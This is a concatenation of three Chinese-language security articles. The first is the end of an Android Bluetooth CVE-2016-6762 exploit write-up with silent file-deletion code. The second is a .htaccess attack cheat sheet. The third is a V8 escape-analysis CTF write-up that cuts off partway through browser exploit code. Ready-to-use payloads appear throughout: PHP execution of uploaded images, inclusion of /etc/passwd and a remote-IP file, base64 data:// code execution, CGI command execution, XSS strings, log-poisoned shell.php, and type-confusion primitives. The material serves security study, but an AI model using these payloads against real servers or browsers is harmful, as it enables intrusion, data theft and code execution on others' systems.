values.put(BluetoothShare.DIRECTION, BluetoothShare.DIRECTION_INBOUND);
values.put(BluetoothShare.TOTAL_BYTES, 110000);
values.put(BluetoothShare.CURRENT_BYTES,110000);
values.put(BluetoothShare.TIMESTAMP, 111111);
values.put(BluetoothShare.DESTINATION, "00:10:60:AA:36:F8");
values.put(BluetoothShare._DATA, "/storage/emulated/0/CVE-2016-6762.apk");
values.put(BluetoothShare.MIMETYPE, "xxx/yyy");
values.put(BluetoothShare.USER_CONFIRMATION, 1);
// when content provider is null, use insert or use update
m_contentResolver.insert(BluetoothShare.CONTENT_URI, values);
// m_contentResolver.update(BluetoothShare.CONTENT_URI, values, "_id = 12", null);
}
});
1. 蓝牙App取出我们构造的filename, filetype；
2. 蓝牙App授予读写权限，然后再启动恶意App进行处理;
3. 恶意App直接删除/sdcard中的这个文件。
public class FakeViewActivity extends Activity {
final static String TAG = "Bluz";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = getIntent();
String dir = intent.getDataString();
Log.d(TAG, "dir is "+dir);
Uri uri = intent.getData();
ContentResolver cr = getContentResolver();
Log.d(TAG, "Deleting "+ intent.getDataString() +" silently!");
getContentResolver().delete(uri, null, null);
}
}
在上述整个过程中，恶意App并未申请SD卡写权限，因此这是一个提权漏洞。
另外还有一种利用方式，是在Intent中直接传入蓝牙BluetoothOppProvider的uri，比如content://com.android.bluetooth.opp/btopp/1"，从而获得对蓝牙共享数据库的读写权限。完成代码请见这里
**0x04 漏洞修复**
Google对该漏洞的修复主要有两点:
1. 确保Intent data始终为BluetoothOppProvider的Uri，防止仿冒；
2. 撤销了授予第三方应用的读写权限，只授予第三方应用某个Activity的读权限。
**0x05 时间线**
* 2017.02.15: 漏洞提交
* 2017.03.01: 漏洞确认，初始评级为高
* 2017.03.23: 漏洞降级为中
* 2017.06.01: 补丁发布
* 2017.06.23: 漏洞公开 | 社区文章 |
# 0x1简介
## 0x1.1基本概念
`.htaccess` 文件提供了针对目录改变配置的方法， 即在一个特定的文档目录中放置一个包含一条或多条指令的文件，
以作用于此目录及其所有子目录。作为用户，所能使用的命令受到限制。管理员可以通过 `Apache` 的 `AllowOverride` 指令来设置。
`.htaccess` 中有 `#` 单行注释符, 且支持 `\`拼接上下两行。
## 0x1.2作用范围
`.htaccess` 文件中的配置指令作用于 `.htaccess` 文件所在的目录及其所有子目录，但是很重要的、需要注意的是，其上级目录也可能会有
`.htaccess` 文件，而指令是按查找顺序依次生效的，所以一个特定目录下的 `.htaccess` 文件中的指令可能会覆盖其上级目录中的
`.htaccess` 文件中的指令，即子目录中的指令会覆盖父目录或者主配置文件中的指令。
## 0x1.3配置文件
启动 `.htaccess`，需要在服务器的主配置文件将 `AllowOverride` 设置为 `All`，如 apache2.conf
AllowOverride All #启动.htaccess文件的使用
也可以将 `.htaccess` 修改为其他名
AccessFileName .config #将.htaccess修改为.config
# 0x2常见指令
`.htaccess`
可以实现网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。如需了解详细功能可看这篇文章
<http://www.htaccess-guide.com/> ， 这里就不一一介绍，主要讲解几种常利用的指令。
## 0x2.1SetHandler
`SetHandler` 可以强制所有匹配的文件被一个指定的处理器处理
用法：
SetHandler handler-name|None
示例1：
SetHandler application/x-httpd-php
此时当前目录及其子目录下所有文件都会被当做 `php` 解析
示例2：
SetHandler server-status
apache的服务器状态信息(默认关闭)，可以查看所有访问本站的记录
访问任意不存在的文件，加参数 `?refresh=5` 来实现每隔 5s 自动刷新
## 0x2.2 AddHandler
`AddHandler` 可以在文件扩展名与特定的处理器之间建立映射
用法:
AddHandler handler-name extension [extension] ...
例如：
AddHandler cgi-script .xxx
将扩展名为 `.xxx` 的文件作为 `CGI` 脚本来处理
## 0x2.3AddType
`AddType` 可以将给定的文件扩展名映射到指定的内容类型
用法：
AddType media-type extension [extension] ...
示例：
AddType application/x-httpd-php .gif
将以 `gif` 为后缀的文件当做 `php` 解析
AddType application/x-httpd-php png jpg gif
将以 `.png .jpg .gif` 多个后缀当做 `php` 解析
## 0x2.4php_value
当使用 `PHP` 作为 `Apache` 模块时，也可以用 `Apache` 的配置文件（例如 `httpd.conf`）和 `.htaccess`
文件中的指令来修改 `php` 的配置设定。需要有`AllowOverride Options` 或`AllowOverride All` 权限才可以。
`php_value` 设定指定的值。要清除先前设定的值，把 `value` 设为 `none`。不要用 `php_value` 设定布尔值。应该用
`php_flag`。
用法：
php_value name value
查看[配置可被设定范围](https://www.php.net/manual/zh/configuration.changes.modes.php)
由上可知 `.htaccess` 只能用于 `PHP_INI_ALL` 或 `PHP_INI_PERDIR` 类型的指令。
查看[php.ini 配置选项列表](https://www.php.net/manual/zh/ini.list.php),寻找可利用指令
(1) 文件包含配置选项
* auto_prepend_file：在主文件解析之前自动解析包含的文件
* auto_append_file：在主文件解析后自动解析包含的文件
例如:
php_value auto_prepend_file images.png
访问一个 `php` 文件时，在该文件解析之前会先自动解析 images.png 文件
(2) 绕过preg_match
例如：
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
设置正则回朔次数来使正则匹配的结果返回为 false 而不是0 ，从而可以绕过正则。
## 0x2.5php_flag
`php_flag` 用来设定布尔值的 `php` 配置指令
用法：
php_flag name on|off
查看[php.ini 配置选项列表](https://www.php.net/manual/zh/ini.list.php),寻找可利用指令
可以将 `engine` 设置为 0,在本目录和子目录中关闭 `php` 解析,造成源码泄露
php_flag engine 0
# 0x3利用方式
## 0x3.1文件解析
经常出现在文件上传的黑名单没有限制 `.htaceess` 后缀，通过上传 `.htaccess` 文件，再上传图片，使图片的 `php`
恶意代码得以被解析执行
`.htaccess` 文件内容有如下两种
1.`SetHandler` 指令
# 将images.png 当做 PHP 执行
<FilesMatch "images.png">
SetHandler application/x-httpd-php
</FilesMatch>
2.`AddType`
# 将 .jpg 当做 PHP 文件解析
AddType application/x-httpd-php .png
## 0x3.2文件包含
### 0x3.2.1本地文件包含
通过 `php_value` 来设置 `auto_prepend_file`或者 `auto_append_file` 配置选项包含一些敏感文件,
同时在本目录或子目录中需要有可解析的 `php` 文件来触发。
`.htaccess` 分别通过这两个配置选项来包含 `/etc/passwd`,并访问同目录下的 `index.php`文件。
`auto_prepend_file`
php_value auto_prepend_file /etc/passwd
`auto_append_file`
php_value auto_append_file /etc/passwd
### 0x3.2.2远程文件包含
PHP 的 `all_url_include` 配置选项这个选项默认是关闭的，如果开启的话就可以远程包含。因为 `all_url_include`
的配置范围为 `PHP_INI_SYSTEM`,所以无法利用 `php_flag` 在 `.htaccess` 中开启。
这里为了演示，就在 `php.ini` 中设置 `all_url_include` 为 `On`
php_value auto_append_file http://10.87.9.156/phpinfo.txt
## 0x3.3源码泄露
利用 `php_flag` 将 `engine` 设置为 0,在本目录和子目录中关闭 `php` 解析,造成源码泄露
php_flag engine 0
这里在谷歌浏览器访问会显示源码，用其他浏览器访问会显示空白，还需查看源码，才可看到泄露的源码
## 0x3.4代码执行
1.利用伪协议
`all_url_fopen`、`all_url_include` 为 `On`
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
2.解析`.htaccess`
方法一：
php_value auto_append_file .htaccess
#<?php phpinfo();
方法二：
这种适合同目录或子目录没有 `php` 文件。
需要先设置允许可访问 `.htaccess` 文件
<Files ~ "^.ht">
Require all granted
Order allow,deny
Allow from all
</Files>
将 `.htaccess`指定当做 php文件处理
SetHandler application/x-httpd-php
# <?php phpinfo(); ?>
## 0x3.5命令执行
### 0x3.5.1CGI启动
`cgi_module` 需要加载，即 `apache` 配置文件中有
LoadModule cgi_module modules/mod_cgi.so
.htaccess内容
Options ExecCGI #允许CGI执行
AddHandler cgi-script .xx #将xx后缀名的文件，当做CGI程序进行解析
ce.xx
#!C:/Windows/System32/cmd.exe /k start calc.exe
6
例题可看 [De1CTF2020 check in](https://github.com/De1ta-team/De1CTF2020/tree/master/writeup/web/check%20in)
### 0x3.5.2FastCGI启动
`mod_fcgid.so`需要被加载。即 `apache` 配置文件中有
LoadModule fcgid_module modules/mod_fcgid.so
.htaccess
Options +ExecCGI
AddHandler fcgid-script .xx
FcgidWrapper "C:/Windows/System32/cmd.exe /k start calc.exe" .xx
ce.xx 内容随意
## 0x3.6XSS
### 0x3.6.1 highlight_file
.htaccess
php_value highlight.comment '"><script>alert(1);</script>'
其中的 `highlight.comment` 也可以换成如下其他选项
index.php
<?php
highlight_file(__FILE__);
// comment
### 0x3.6.2错误消息链接
index.php ：
<?php
include('foo');#foo报错
.htaccess
php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "'><script>alert(1);</script>"
## 0x3.7自定义错误文件
error.php
<?php include('shell');#报错页面
.htaccess
php_value error_log /tmp/www/html/shell.php
php_value include_path "<?php phpinfo(); __halt_compiler();"
访问 error.php，会报错并记录在 shell.php 文件中
因为会经过 html 编码，所以需要 UTF-7 来绕过。
.htaccess
# 第一次
php_value error_log /tmp/shell #定义错误路径
#---- "<?php phpinfo(); __halt_compiler();" in UTF-7:
php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs"
# 第二次
php_value include_path "/tmp" #将include()的默认路径改变
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
例题可看[X-NUCA-ezphp](https://www.cnblogs.com/tr1ple/p/11439994.html)
# 0x4参考链接
<https://www.anquanke.com/post/id/205098>
<https://www.cnblogs.com/Wanghaoran-s1mple/p/13152075.html>
<http://httpd.apache.org/docs/2.4/>
<https://github.com/sektioneins/pcc/wiki/PHP-htaccess-injection-cheat-sheet>
<https://www.freebuf.com/vuls/218495.html> | 社区文章 |
# V8逃逸分析（escape-analysis）——N1CTF2020 Escape
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
通过N1CTF2020 Escape一题学习V8的逃逸分析机制。
## 0x01 前置知识
### 逃逸分析
#### 概念
逃逸分析(escape-analysis)就是JIT阶段用来分析对象的作用域的一种机制，分析对象的作用域是为了更好的优化代码，生成高效率的JIT代码。
如下的代码中，对象a发生了`逃逸`，因为a是在函数中创建的对象，通过return返回给外部使用。
function func() {
var a = [];
return a;
}
func();
如下的代码也同样发生`逃逸`
var a;
function func() {
a = [];
}
func();
逃逸的对象不会在函数执行完毕不会被收回，因此JIT对此类对象不做优化。
#### 优化未逃逸的对象
如果对象未发生逃逸，JIT会将其优化为局部变量的形式，如下的代码中,v未发生逃逸
function func(a) {
let v = {x:a,y:a};
return v.x+v.y;
}
那么该函数会被优化为
function func(a) {
return a+a;
}
从中可用看出，逃逸分析可以优化那些未逃逸的对象，去掉不必要的对象申请，使得代码更加高效。
#### 构造一个逃逸
如下，将另一个函数作为一个参数，并在当前这个函数里调用另一个函数，JIT将无法在编译时确定foo会做什么，由此，o会发生逃逸
function (foo) {
let o = {};
foo(o);
}
#### JIT逃逸分析如何确定变量类型
> In a CFG: One map per basic block, updated imperatively when traversing the
> block
>
> * In an unscheduled graph: One map per effectful node.
> This is expensive! Solution: A purely functional map:
> * Copy: O(1)
> * Update/Access: O(log n)
> This can be achieved with any tree-based map datastructure.
> We chose a hash-tree.
>
从`Escape Analysis in
V8`文献中可以看出，在逃逸分析时，使用树结构来保存各个节点的`checkmap`，这样进行复制时，只需要`O(1)`的时间，进行状态更新和访问时，只需要`O(log
n)`的时间。`checkmap`决定了这个节点生成的JIT该以什么方式去操作对象。如果`checkmap`缺失，将导致生成的JIT代码有问题，发生类型混淆。
## 0x02 漏洞分析
### patch分析
diff --git a/src/compiler/escape-analysis.cc b/src/compiler/escape-analysis.cc
index 2a096b6933..3046d7b04e 100644
--- a/src/compiler/escape-analysis.cc
+++ b/src/compiler/escape-analysis.cc
@@ -178,7 +178,7 @@ class EscapeAnalysisTracker : public ZoneObject {
: VariableTracker::Scope(&tracker->variable_states_, node, reduction),
tracker_(tracker),
reducer_(reducer) {}
- const VirtualObject* GetVirtualObject(Node* node) {
+ VirtualObject* GetVirtualObject(Node* node) {
VirtualObject* vobject = tracker_->virtual_objects_.Get(node);
if (vobject) vobject->AddDependency(current_node());
return vobject;
@@ -576,10 +576,14 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current,
case IrOpcode::kStoreField: {
Node* object = current->ValueInput(0);
Node* value = current->ValueInput(1);
- const VirtualObject* vobject = current->GetVirtualObject(object);
+ VirtualObject* vobject = current->GetVirtualObject(object);
Variable var;
if (vobject && !vobject->HasEscaped() &&
vobject->FieldAt(OffsetOfFieldAccess(op)).To(&var)) {
+ // Attach cached map info to the virtual object.
+ if (OffsetOfFieldAccess(op) == HeapObject::kMapOffset) {
+ vobject->SetMap(value);
+ }
current->Set(var, value);
current->MarkForDeletion();
} else {
@@ -747,6 +751,17 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current,
// yet.
break;
}
+ } else if (vobject) {
+ Node* cache_map = vobject->Map();
+ if (cache_map) {
+ Type const map_type = NodeProperties::GetType(cache_map);
+ if (map_type.IsHeapConstant() &&
+ params.maps().contains(
+ map_type.AsHeapConstant()->Ref().AsMap().object())) {
+ current->MarkForDeletion();
+ break;
+ }
+ }
}
current->SetEscaped(checked);
break;
@@ -804,6 +819,12 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current,
for (int i = 0; i < value_input_count; ++i) {
Node* input = current->ValueInput(i);
current->SetEscaped(input);
+
+ // Invalidate associated map cache for all value input nodes.
+ VirtualObject* vobject = current->GetVirtualObject(input);
+ if (vobject) {
+ vobject->SetMap(nullptr);
+ }
}
if (OperatorProperties::HasContextInput(op)) {
current->SetEscaped(current->ContextInput());
diff --git a/src/compiler/escape-analysis.h b/src/compiler/escape-analysis.h
index 0fbc7d0bdd..ec56488388 100644
--- a/src/compiler/escape-analysis.h
+++ b/src/compiler/escape-analysis.h
@@ -147,11 +147,14 @@ class VirtualObject : public Dependable {
bool HasEscaped() const { return escaped_; }
const_iterator begin() const { return fields_.begin(); }
const_iterator end() const { return fields_.end(); }
+ Node* Map() const { return map_; }
+ void SetMap(Node* map) { map_ = map; }
private:
bool escaped_ = false;
Id id_;
ZoneVector<Variable> fields_;
+ Node* map_;
};
class EscapeAnalysisResult {
从中可用看出，patch文件在`VirtualObject`类中增加了几个变量和函数，并在一些位置进行调用，利用`git apply
patch.diff`将patch文件应用，然后我们分析完整的`escape-analysis.cc`文件，在`ReduceNode`函数中的`IrOpcode::kStoreField`分支时
case IrOpcode::kStoreField: {
Node* object = current->ValueInput(0);
Node* value = current->ValueInput(1);
VirtualObject* vobject = current->GetVirtualObject(object);
Variable var;
//如果对象没有逃逸
if (vobject && !vobject->HasEscaped() &&
vobject->FieldAt(OffsetOfFieldAccess(op)).To(&var)) {
// Attach cached map info to the virtual object.
if (OffsetOfFieldAccess(op) == HeapObject::kMapOffset) {
vobject->SetMap(value); //拷贝一份map值
}
current->Set(var, value); //将对象里面保存的值赋给一个变量
current->MarkForDeletion(); //标记法将该节点删除
} else {
current->SetEscaped(object);
current->SetEscaped(value);
}
break;
}
上面的代码可以体现出`逃逸分析`中的`变量替换`思想，即对没有逃逸的对象进行优化。
接下来继续看`IrOpcode::kCheckMaps`分支补丁上去的代码
case IrOpcode::kCheckMaps: {
CheckMapsParameters params = CheckMapsParametersOf(op);
Node* checked = current->ValueInput(0);
const VirtualObject* vobject = current->GetVirtualObject(checked);
Variable map_field;
Node* map;
if (vobject && !vobject->HasEscaped() &&
vobject->FieldAt(HeapObject::kMapOffset).To(&map_field) &&
current->Get(map_field).To(&map)) { //未逃逸
if (map) {
Type const map_type = NodeProperties::GetType(map);
if (map_type.IsHeapConstant() &&
params.maps().contains(
map_type.AsHeapConstant()->Ref().AsMap().object())) {
current->MarkForDeletion();
break;
}
} else {
// If the variable has no value, we have not reached the fixed-point
// yet.
break;
}
//这里是patch上的代码
} else if (vobject) { //逃逸状态
Node* cache_map = vobject->Map();
if (cache_map) { //如果该对象存在map的副本
Type const map_type = NodeProperties::GetType(cache_map);
if (map_type.IsHeapConstant() &&
params.maps().contains(
map_type.AsHeapConstant()->Ref().AsMap().object())) {
current->MarkForDeletion(); //将这个checkmap标记为删除状态
break;
}
}
}
current->SetEscaped(checked);
break;
}
前面我们介绍过，所有节点的checkmap保存在一棵树上，因此为了方便进行删除，这里用的是`MarkForDeletion()`，只需要`O(1)`的时间即可将当前这个节点的checkmap标记为删除。checkmap被删除的话，那么JIT在处理这个节点时将无法知道其当前的类型，由此会造成`类型混淆(Type
Confusion)`。
再来看打到`default`分支上的补丁
default: {
// For unknown nodes, treat all value inputs as escaping.
int value_input_count = op->ValueInputCount();
for (int i = 0; i < value_input_count; ++i) {
Node* input = current->ValueInput(i);
current->SetEscaped(input);
// 将该节点的map_设置为null
VirtualObject* vobject = current->GetVirtualObject(input);
if (vobject) {
vobject->SetMap(nullptr);
}
}
if (OperatorProperties::HasContextInput(op)) {
current->SetEscaped(current->ContextInput());
}
break;
}
可以看出这里又清除了`map_`变量的值
### POC构造与分析
首先得让`vobject->_map`这个变量被赋值，那么就是发生在没有逃逸的时候，会进入分支
if (vobject && !vobject->HasEscaped() &&
vobject->FieldAt(OffsetOfFieldAccess(op)).To(&var)) {
然后得让变量进入逃逸状态，这样当进入`case IrOpcode::kCheckMaps:`时能够进入`else if (vobject) {
//逃逸状态}`分支，但要执行到`current->MarkForDeletion();`语句，还得保证`Node* cache_map =
vobject->Map();`不为空。
首先构造如下的代码
function opt(foo) {
var a = [1.1]; //未逃逸
foo(a); //逃逸
return a[0];
}
//触发JIT编译
for (var i=0;i<0x20000;i++) {
opt((o)=>{});
}
x = Array(0);
print(opt((o)=>{o[0] = x;})); //在外部函数里改变类型
运行后发现不能像我们预期的那样发生类型混淆，通过gdb调试看一下，在三个patch点下断点
b escape-analysis.cc:585
b escape-analysis.cc:738
b escape-analysis.cc:826
通过调试发现仅能在585这一个分支断下，添加`-print-opt-code`选项可以看到整个代码都被JIT优化了
这样的话JIT编译器可以确定foo做了什么，我们的opt函数就会退化为
function opt(foo) {
var a = [1.1];
return a[0];
}
因此我们得仅让opt这一个函数被优化，由此应该这样
function opt(foo) {
//触发JIT编译
for (var i=0;i<0x20000;i++) {
}
var a = [1.1]; //未逃逸
foo(a); //逃逸
return a[0];
}
opt((o)=>{});
x = Array(0);
print(opt((o)=>{o[0] = x;})); //在外部函数里改变类型
这样运行，会发现opt的JIT生成了两次，也就是说`print(opt((o)=>{o[0] =
x;}));`这句的opt调用并没有匹配到之前opt生成的JIT代码，查看第一次生成的JIT代码（关键部分）
0x131a00084fa9 e9 49ba009784e7ad7f0000 REX.W movq r10,0x7fade7849700 (CreateShallowArrayLiteral) ;; off heap target
0x131a00084fb3 f3 41ffd2 call r10
0x131a00084fb6 f6 49c7c504000000 REX.W movq r13,0x4
0x131a00084fbd fd e87ef00b00 call 0x131a00144040 ;; deopt-soft deoptimization bailout
查看第二次JIT生成的关键代码
f8 488945b8 REX.W movq [rbp-0x48],rax
0x131a000851dc fc 4c8b4518 REX.W movq r8,[rbp+0x18]
0x131a000851e0 100 48bf6d8c14081a130000 REX.W movq rdi,0x131a08148c6d ;; object: 0x131a08148c6d <JSFunction (sfi = 0x131a082d269d)>
0x131a000851ea 10a 443bc7 cmpl r8,rdi
0x131a000851ed 10d 0f85db010000 jnz 0x131a000853ce <+0x2ee>
可以看出，第一次并没有匹配参数，而是直接`deopt-soft deoptimization
bailout`，而第二次有匹配参数，判断函数地址是否为指定值，因此，我们再增加几个opt调用看看有什么变化。
function opt(foo) {
//触发JIT编译
for (var i=0;i<0x20000;i++) {
}
var a = [1.1]; //未逃逸
foo(a); //逃逸
return a[0];
}
opt((o)=>{});
opt((o)=>{});
opt((o)=>{});
x = Array(0);
print(opt((o)=>{o[0] = x;})); //在外部函数里改变类型
我们看到，最后一个标号为2，也就是总共生成了opt函数的3份JIT代码，而我们的js里有4个opt函数调用，也就是说，最后的`print(opt((o)=>{o[0]
= x;}));`成功匹配了JIT代码。
我们查看最后一份的JIT代码
0x2a000854c0 0 488d1df9ffffff REX.W leaq rbx,[rip+0xfffffff9]
0x2a000854c7 7 483bd9 REX.W cmpq rbx,rcx
0x2a000854ca a 7418 jz 0x2a000854e4 <+0x24>
0x2a000854cc c 48ba6a00000000000000 REX.W movq rdx,0x6a
0x2a000854d6 16 49ba20371523787f0000 REX.W movq r10,0x7f7823153720 (Abort) ;; off heap target
0x2a000854e0 20 41ffd2 call r10
0x2a000854e3 23 cc int3l
0x2a000854e4 24 8b59d0 movl rbx,[rcx-0x30]
0x2a000854e7 27 4903dd REX.W addq rbx,r13
0x2a000854ea 2a f6430701 testb [rbx+0x7],0x1
0x2a000854ee 2e 740d jz 0x2a000854fd <+0x3d>
0x2a000854f0 30 49ba20600523787f0000 REX.W movq r10,0x7f7823056020 (CompileLazyDeoptimizedCode) ;; off heap target
0x2a000854fa 3a 41ffe2 jmp r10
0x2a000854fd 3d 55 push rbp
0x2a000854fe 3e 4889e5 REX.W movq rbp,rsp
0x2a00085501 41 56 push rsi
0x2a00085502 42 57 push rdi
0x2a00085503 43 50 push rax
0x2a00085504 44 4883ec10 REX.W subq rsp,0x10
0x2a00085508 48 488975e0 REX.W movq [rbp-0x20],rsi
0x2a0008550c 4c 493b6548 REX.W cmpq rsp,[r13+0x48] (external value (StackGuard::address_of_jslimit()))
0x2a00085510 50 0f86c5010000 jna 0x2a000856db <+0x21b>
0x2a00085516 56 493b6548 REX.W cmpq rsp,[r13+0x48] (external value (StackGuard::address_of_jslimit()))
0x2a0008551a 5a 0f86f4010000 jna 0x2a00085714 <+0x254>
0x2a00085520 60 b901000000 movl rcx,0x1
0x2a00085525 65 660f1f840000000000 nop
0x2a0008552e 6e 6690 nop
0x2a00085530 70 81f900000200 cmpl rcx,0x20000
0x2a00085536 76 0f8332000000 jnc 0x2a0008556e <+0xae>
0x2a0008553c 7c 83c101 addl rcx,0x1
0x2a0008553f 7f 49ba0000000001000000 REX.W movq r10,0x100000000
0x2a00085549 89 4c3bd1 REX.W cmpq r10,rcx
0x2a0008554c 8c 7715 ja 0x2a00085563 <+0xa3>
0x2a0008554e 8e 48ba0200000000000000 REX.W movq rdx,0x2
0x2a00085558 98 4c8b1579ffffff REX.W movq r10,[rip+0xffffff79]
0x2a0008555f 9f 41ffd2 call r10
0x2a00085562 a2 cc int3l
0x2a00085563 a3 493b6548 REX.W cmpq rsp,[r13+0x48] (external value (StackGuard::address_of_jslimit()))
0x2a00085567 a7 77c7 ja 0x2a00085530 <+0x70>
0x2a00085569 a9 e9cb010000 jmp 0x2a00085739 <+0x279>
0x2a0008556e ae 48b9f8c6112c25560000 REX.W movq rcx,0x56252c11c6f8 ;; external reference (Heap::NewSpaceAllocationTopAddress())
0x2a00085578 b8 4c8b01 REX.W movq r8,[rcx]
0x2a0008557b bb 4d8d4820 REX.W leaq r9,[r8+0x20]
0x2a0008557f bf 49bb00c7112c25560000 REX.W movq r11,0x56252c11c700 ;; external reference (Heap::NewSpaceAllocationLimitAddress())
.................................................................
可以看到，最后一份JIT代码中，已经不再对参数进行匹配了，也就是说，即使我们记下来继续调用opt()，参数无论为什么，都会匹配到，我们测试一下
function opt(foo) {
//触发JIT编译
for (var i=0;i<0x20000;i++) {
}
var a = [1.1]; //未逃逸
foo(a); //逃逸
return a[0];
}
opt((o)=>{});
opt((o)=>{});
opt((o)=>{});
x = Array(0);
//print(opt((o)=>{o[0] = x;})); //在外部函数里改变类型
opt(1);
opt({});
可以看到也只生成了3份JIT代码，最后两句的调用都直接走opt的JIT成功了。
于是，我们的代码可以用for循环来精简一下
function opt(foo) {
//触发JIT编译
for (var i=0;i<0x20000;i++) {
}
var a = [1.1]; //未逃逸
foo(a); //逃逸
return a[0];
}
//生成多个JIT模板
for (var i=0;i<0x10;i++) {
opt((o)=>{});
}
x = Array(0);
print(opt((o)=>{o[0] = x;})); //在外部函数里改变类型
运行后，发现仍然不能发生类型混淆，继续调试
先是`(v8::internal::compiler::VirtualObject *) 0x5643165e5410`设置了`map_`值
然后`(v8::internal::compiler::VirtualObject *) 0x5643165e5770`设置了`map_`值
接下来发现`(v8::internal::compiler::VirtualObject *) 0x5643165e5770`的`map_`值被清空
接下来到这里，这个分支是当检测到对象逃逸时才会到达，由于前一步把这个`vobject`的`map_`给清空了，导致条件不成立，无法执行到`current->MarkForDeletion();`
上述POC失败的原因是因为在`case
IrOpcode::kCheckMaps:`之前先进入了`default`把`map_`值给清空了，我们可以再对象里再裹一层对象试试。
function opt(foo) {
//触发JIT编译
for (var i=0;i<0x20000;i++) {
}
var a = [1.1]; //未逃逸
var b = [a]; //未逃逸
foo(b); //逃逸
return a[0];
}
//生成多个JIT模板
for (var i=0;i<0x10;i++) {
opt((o)=>{});
}
x = Array(0);
print(opt((o)=>{o[0][0] = x;})); //在外部函数里改变类型
接下来我们重新调试，我们发现`(const v8::internal::compiler::VirtualObject *)
0x558f95f216c0`这个节点的`checkmaps`被删除了，因此将造成类型混淆
继续运行，发现输出了对象的地址，发生了类型混淆
pwndbg> p vobject
$16 = (const v8::internal::compiler::VirtualObject *) 0x558f95f216c0
pwndbg> c
Continuing.
4.765298071534956e-270
[Thread 0x7f202c139700 (LWP 2742) exited]
[Thread 0x7f202c93a700 (LWP 2741) exited]
[Thread 0x7f202d13b700 (LWP 2740) exited]
[Inferior 1 (process 2739) exited normally]
pwndbg>
如下是有漏洞的JIT代码
0x2343000857c8 1a8 488b7d18 REX.W movq rdi,[rbp+0x18]
0x2343000857cc 1ac b801000000 movl rax,0x1
0x2343000857d1 1b1 49bae0bfb6d9a77f0000 REX.W movq r10,0x7fa7d9b6bfe0 (Call_ReceiverIsNullOrUndefined) ;; off heap target
0x2343000857db 1bb 41ffd2 call r10 ;调用外部函数
0x2343000857de 1be 488b4dd8 REX.W movq rcx,[rbp-0x28]
0x2343000857e2 1c2 448b4107 movl r8,[rcx+0x7] ;以DOUBLE_ELEMENTS的方式取数据
0x2343000857e6 1c6 4d03c5 REX.W addq r8,r13
0x2343000857e9 1c9 448b490b movl r9,[rcx+0xb]
0x2343000857ed 1cd 41d1f9 sarl r9, 1
0x2343000857f0 1d0 4183f900 cmpl r9,0x0
0x2343000857f4 1d4 0f869a010000 jna 0x234300085994 <+0x374>
0x2343000857fa 1da c4c17b104007 vmovsd xmm0,[r8+0x7]
0x234300085800 1e0 c5fb2cc8 vcvttsd2si rcx,xmm0
0x234300085804 1e4 c5832ac9 vcvtlsi2sd xmm1,xmm15,rcx
0x234300085808 1e8 c5f92ec8 vucomisd xmm1,xmm0
0x23430008580c 1ec 0f8a39000000 jpe 0x23430008584b <+0x22b>
0x234300085812 1f2 0f8533000000 jnz 0x23430008584b <+0x22b>
0x234300085818 1f8 83f900 cmpl rcx,0x0
0x23430008581b 1fb 0f8428010000 jz 0x234300085949 <+0x329>
如下是无漏洞的JIT代码
0x286d000857b0 1b0 49ba405e010f7e7f0000 REX.W movq r10,0x7f7e0f015e40 (Call_ReceiverIsNullOrUndefined) ;; off heap target
0x286d000857ba 1ba 41ffd2 call r10
0x286d000857bd 1bd 488b4dd8 REX.W movq rcx,[rbp-0x28]
0x286d000857c1 1c1 41b8fd383008 movl r8,0x83038fd ;; (compressed) object: 0x286d083038fd <Map(PACKED_DOUBLE_ELEMENTS)>
0x286d000857c7 1c7 443941ff cmpl [rcx-0x1],r8
0x286d000857cb 1cb 0f859e010000 jnz 0x286d0008596f <+0x36f>
0x286d000857d1 1d1 448b4107 movl r8,[rcx+0x7]
0x286d000857d5 1d5 4d03c5 REX.W addq r8,r13
0x286d000857d8 1d8 448b490b movl r9,[rcx+0xb]
0x286d000857dc 1dc 41d1f9 sarl r9, 1
0x286d000857df 1df 4183f900 cmpl r9,0x0
0x286d000857e3 1e3 0f8692010000 jna 0x286d0008597b <+0x37b>
0x286d000857e9 1e9 c4c17b104007 vmovsd xmm0,[r8+0x7]
0x286d000857ef 1ef c5fb2cc8 vcvttsd2si rcx,xmm0
0x286d000857f3 1f3 c5832ac9 vcvtlsi2sd xmm1,xmm15,rcx
0x286d000857f7 1f7 c5f92ec8 vucomisd xmm1,xmm0
0x286d000857fb 1fb 0f8a25000000 jpe 0x286d00085826 <+0x226>
0x286d00085801 201 0f851f000000 jnz 0x286d00085826 <+0x226>
0x286d00085807 207 83f900 cmpl rcx,0x0
0x286d0008580a 20a 0f8414010000 jz 0x286d00085924 <+0x324>
可以发现，由于逃逸分析时把`checkmaps`删除了，使得生成的JIT代码里调用完函数后少了如下的检查代码，由此发生类型混淆
0x286d000857bd 1bd 488b4dd8 REX.W movq rcx,[rbp-0x28]
0x286d000857c1 1c1 41b8fd383008 movl r8,0x83038fd ;; (compressed) object: 0x286d083038fd <Map(PACKED_DOUBLE_ELEMENTS)>
0x286d000857c7 1c7 443941ff cmpl [rcx-0x1],r8
0x286d000857cb 1cb 0f859e010000 jnz 0x286d0008596f <+0x36f>
## 0x03 漏洞利用
利用类型混淆，构造addressOf和fakeObj原语，然后利用两个原语伪造一个ArrayBuffer，实现任意地址读写。然后可以创建一个`div`对象，利用任意地址读写篡改其虚表，然后执行对应的操作劫持程序流
<!DOCTYPE html>
<html>
<body>
<script>
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);
function p64f(value1,value2) {
dv.setUint32(0,value1,true);
dv.setUint32(0x4,value2,true);
return dv.getFloat64(0,true);
}
function i2f64(value) {
dv.setBigUint64(0,BigInt(value),true);
return dv.getFloat64(0,true);
}
function u64f(value) {
dv.setFloat64(0,value,true);
return dv.getBigUint64(0,true);
}
function u32f(value) {
dv.setFloat64(0,value,true);
return dv.getUint32(0,true);
